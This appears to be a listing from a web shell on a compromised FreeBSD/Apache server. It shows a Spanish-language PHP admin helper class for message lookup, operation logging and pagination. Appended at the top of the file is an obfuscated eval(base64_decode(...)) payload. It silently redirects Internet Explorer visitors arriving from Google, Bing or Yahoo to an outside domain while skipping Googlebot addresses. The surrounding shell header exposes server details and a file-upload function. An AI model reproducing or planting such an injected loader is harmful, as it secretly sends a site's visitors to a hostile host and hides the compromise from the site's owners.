KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/componenteDg.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));

class ComponenteDg {
/*
variable:		salida
descripcion:	da los resultados a todas las acciones executadas
				por el cliente
**/
var $salida = array();

var $fileConfirm ;
var $fileError ;
var $fileLog ;
var $limite = 10;
var $debugger = true;
/*constructor*/
function Componente(){
	$this->fileConfirm="mensajes.txt";
	$this->fileError="errores.txt";
	$this->fileLog ="retrive.log";
	$this->salida['msg']="0 operaciones";
	$this->salida['resul']=false;
}

/***********************************************************
funcion:		getMensaje
descripcion:	trae la descripcion del mensaje de el archivo
				correspondiente
***********************************************************/
function getMensaje($cod,$tipo){
	$path ="";
	$file="";
	if($tipo=="confirmacion"){
		$path = $this->fileConfirm;
	}elseif($tipo=="error"){
		$path = $this->fileError;
	}else{
		$path = $this->fileError;
		$tipo=="error";
	}

	$file = file($path);

	$desc = "none";
	if(!$file){	$desc = "Imposible leer el fichero de Mensajes($path)!"; return trim($desc);}
	else{
		$siga=true;
		$lineas = sizeof($file);
		$i=0;
		while(($i++<=$lineas) && ($siga)){
			if(substr($file[$i], 0, 1) == "#" || !strlen($file[$i])) { continue; }
			$pos = strpos ($file[$i], $cod);
			if($pos===false){
				continue;
			}else{
				$vec = explode("|",$file[$i]);
				$desc = $vec[1];
				break 1;
			}
		}
		if($i-1==$lineas){$desc="$tipo no encontrado!";}
		return trim($desc);	
	}
}

/************************************************************
FUNCION: 		regOperacion
DESCRIPCION: 	registra en el log-file una operacion
*************************************************************/
function regOperacion($aplicacion, $funcion, $mensaje, $usuario=NULL){
	$fecha=date('Y-m-d H:i:s');
	$fichero ="retrive.log";
	$fp=fopen($fichero,"a");
	$operacion="";
	if($fp){
		$operacion=$fecha."|".$usuario."|".$aplicacion."|".$funcion."|".$mensaje."\r\n";
		fwrite($fp,$operacion);
		if(fclose($fp)){
			echo "operacion registrada";
			return true;
		}else{
			echo "Imposible guardar cambios en el fichero de logeo de operaciones!";
			return false;
		}
	}else{
		echo "Imposible abrir el fichero de logeo de operaciones!";
		return false;
	}
}//end add_transaccion

/************************************************************
FUNCION: 		setSalida
DESCRIPCION: 	pone valores a la salida de la funcion en 
				salida['resul'] y salida['msg']
*************************************************************/
function setSalida($resul,$msg,$funcion,$aplicacion){
	$this->salida['resul']=$resul;
	$this->salida['msg']=$msg;
	if($this->debugger){
		echo $aplicacion." - ".$funcion." - ".$msg."\n";
	}
}

/*
funcion mostrarMensaje
descripcion despliega un alert de javascript
			con el mensaje que llega
*/
function mostrarMensaje($msg){
	$msg=trim($msg);
	echo "<script>alert(\"$msg\");</script>";
}

/*
funcion paginas
descripcion devuelve el numero de paginas que se obtienen 
			en la consulta dado un limite y un total de 
 			lineas de la consulta
*/
function paginas($total){
	$lim=$this->limite;
	$val =ceil($total/$lim);
	return $val;
}
/*
funcion inicioPagina
descripcion devuelve el indice donde debe empezar la 
			consulta en la nueva pagina
*/
function inicioPagina($ini){
	$val =($ini-1)*($this->limite);
	return $val;
}

/*
*funcion setFiles()
*descripcion direcciona los archivos de mensajes log y errores
*			dependiendo del nivel en el que se encuentra trabajando el panel
*			[0,1,2,3]
*/
function setFiles($nivel){
	if($nivel==0){//cuando esta en main
		$this->fileConfirm="mensajes.txt";
		$this->fileError="errores.txt";
		$this->fileLog ="retrive.log";
	}

	if($nivel==1){//cuando esta logeando
		$this->fileConfirm="./../admon/fnc/mensajes.txt";
		$this->fileError="./../admon/fnc/errores.txt";
		$this->fileLog ="./../admon/fnc/retrive.log";
	}
	if($nivel==2){//dentro de la carpeta de alguna aplicacion
		$this->fileConfirm="./../fnc/mensajes.txt";
		$this->fileError="./../fnc/errores.txt";
		$this->fileLog ="./../fnc/retrive.log";
	}
	
	if($nivel==3){//en el panel (contenido superior lateral)
		$this->fileConfirm="./fnc/mensajes.txt";
		$this->fileError="./fnc/errores.txt";
		$this->fileLog ="./fnc/retrive.log";
	}
	if($nivel==4){//dentro de la carpeta de una carpeta de alguna aplicacion
		$this->fileConfirm="./../../fnc/mensajes.txt";
		$this->fileError="./../../fnc/errores.txt";
		$this->fileLog ="./../../fnc/retrive.log";
	}
	if($nivel==5){//en el sitio web (fnc)
		$this->fileConfirm="./../aplicaciones/admon/fnc/mensajes.txt";
		$this->fileError="./../aplicaciones/admon/fnc/errores.txt";
		$this->fileLog ="./retrive.log";
	}
	if($nivel==6){//en el sitio web (raiz)
		$this->fileConfirm="./aplicaciones/admon/fnc/mensajes.txt";
		$this->fileError="./aplicaciones/admon/fnc/errores.txt";
		$this->fileLog ="./fnc/retrive.log";
	}	
}

/*
*funcion setDebugger
*descripcion cambia el valor del debugger
*			 habilitandolo o no para que registre las salidas
*/
function setDebugger($val){
	$this->debugger=$val;
}
/*
*funcion enableDebug
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebug(){
	$this->setDebugger(true);
}

/*
*funcion disableDebug
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebug(){
	$this->setDebugger(false);
}


}//endclass
?>

Anon7 - 2021